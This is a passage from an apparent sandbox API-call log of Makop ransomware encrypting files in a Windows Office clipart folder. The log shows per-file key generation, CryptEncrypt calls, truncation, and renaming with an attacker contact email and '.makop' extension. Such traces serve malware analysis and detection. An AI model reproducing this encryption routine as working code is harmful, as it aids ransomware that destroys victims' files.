pbBuffer=0x48bdf90) returned 1 [0117.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.275] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0117.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.280] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.280] GetProcessHeap () returned 0x48a0000 [0117.280] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.280] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.280] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.280] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.280] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.280] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.281] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ed3, lpOverlapped=0x0) returned 1 [0117.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ee0) returned 1 [0117.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ee0, lpOverlapped=0x0) returned 1 [0117.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.284] SetEndOfFile (hFile=0xf0) returned 1 [0117.290] GetProcessHeap () returned 0x48a0000 [0117.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.290] GetProcessHeap () returned 0x48a0000 [0117.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.290] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.293] CloseHandle (hObject=0xf0) returned 1 [0117.293] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0117.293] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0117.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.294] GetProcessHeap () returned 0x48a0000 [0117.294] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.294] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.294] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.300] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.300] GetProcessHeap () returned 0x48a0000 [0117.300] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.300] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.300] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.305] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.305] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.305] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27d0, lpOverlapped=0x0) returned 1 [0117.307] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27d0, dwBufLen=0x27d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27d0) returned 1 [0117.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27d0, lpOverlapped=0x0) returned 1 [0117.307] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.308] SetEndOfFile (hFile=0xf0) returned 1 [0117.314] GetProcessHeap () returned 0x48a0000 [0117.314] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.314] GetProcessHeap () returned 0x48a0000 [0117.314] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.315] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.316] CloseHandle (hObject=0xf0) returned 1 [0117.316] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0117.316] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0117.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.317] GetProcessHeap () returned 0x48a0000 [0117.317] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.317] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.317] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0117.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.322] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.322] GetProcessHeap () returned 0x48a0000 [0117.322] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.322] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.322] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.322] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.322] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.322] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.323] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.323] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.323] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5ee4, lpOverlapped=0x0) returned 1 [0117.325] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ef0, dwBufLen=0x5ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ef0) returned 1 [0117.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5ef0, lpOverlapped=0x0) returned 1 [0117.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.326] SetEndOfFile (hFile=0xf0) returned 1 [0117.333] GetProcessHeap () returned 0x48a0000 [0117.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.333] GetProcessHeap () returned 0x48a0000 [0117.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.333] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.334] CloseHandle (hObject=0xf0) returned 1 [0117.334] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0117.334] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0117.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.335] GetProcessHeap () returned 0x48a0000 [0117.335] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.340] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.340] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.340] GetProcessHeap () returned 0x48a0000 [0117.340] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.340] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.340] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.342] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.342] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2232, lpOverlapped=0x0) returned 1 [0117.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2240, dwBufLen=0x2240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2240) returned 1 [0117.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2240, lpOverlapped=0x0) returned 1 [0117.344] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.344] SetEndOfFile (hFile=0xf0) returned 1 [0117.350] GetProcessHeap () returned 0x48a0000 [0117.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.350] GetProcessHeap () returned 0x48a0000 [0117.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.351] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.353] CloseHandle (hObject=0xf0) returned 1 [0117.354] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0117.354] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0117.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft 